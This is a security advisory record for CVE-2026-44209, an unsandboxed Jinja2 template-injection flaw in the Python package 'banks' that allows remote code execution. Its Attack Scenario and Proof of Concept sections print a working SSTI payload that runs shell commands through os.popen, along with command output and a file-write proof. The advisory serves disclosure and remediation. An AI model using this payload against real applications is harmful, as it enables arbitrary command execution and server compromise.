id: PYSEC-2026-2390 published: "2026-07-13T15:15:42.685111Z" modified: "2026-07-13T16:03:35.599948Z" aliases: - CVE-2026-44209 - GHSA-gphh-9q3h-jgpp summary: banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI details: "## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text() # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm — identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine" affected: - package: name: banks ecosystem: PyPI purl: pkg:pypi/banks ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 2.4.2 versions: - 0.0.1 - 0.0.2 - 0.0.3 - 0.1.0 - 0.1.1 - 0.2.0 - 0.3.0 - 0.3.1 - 0.4.1 - 0.5.0 - 0.6.0 - 1.0.0 - 1.1.0 - 1.2.0 - 1.2.1 - 1.3.0 - 1.4.0 - 1.5.0 - 1.6.0 - 1.6.1 - 1.7.0 - 1.7.1 - 1.8.0 - 2.0.0 - 2.1.0 - 2.1.1 - 2.1.2 - 2.1.3 - 2.2.0 - 2.3.0 - 2.4.0 - 2.4.1 references: - type: WEB url: https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-44209 - type: WEB url: https://github.com/masci/banks/pull/74 - type: PACKAGE url: https://github.com/masci/banks - type: PACKAGE url: https://pypi.org/project/banks - type: ADVISORY url: https://github.com/advisories/GHSA-gphh-9q3h-jgpp severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H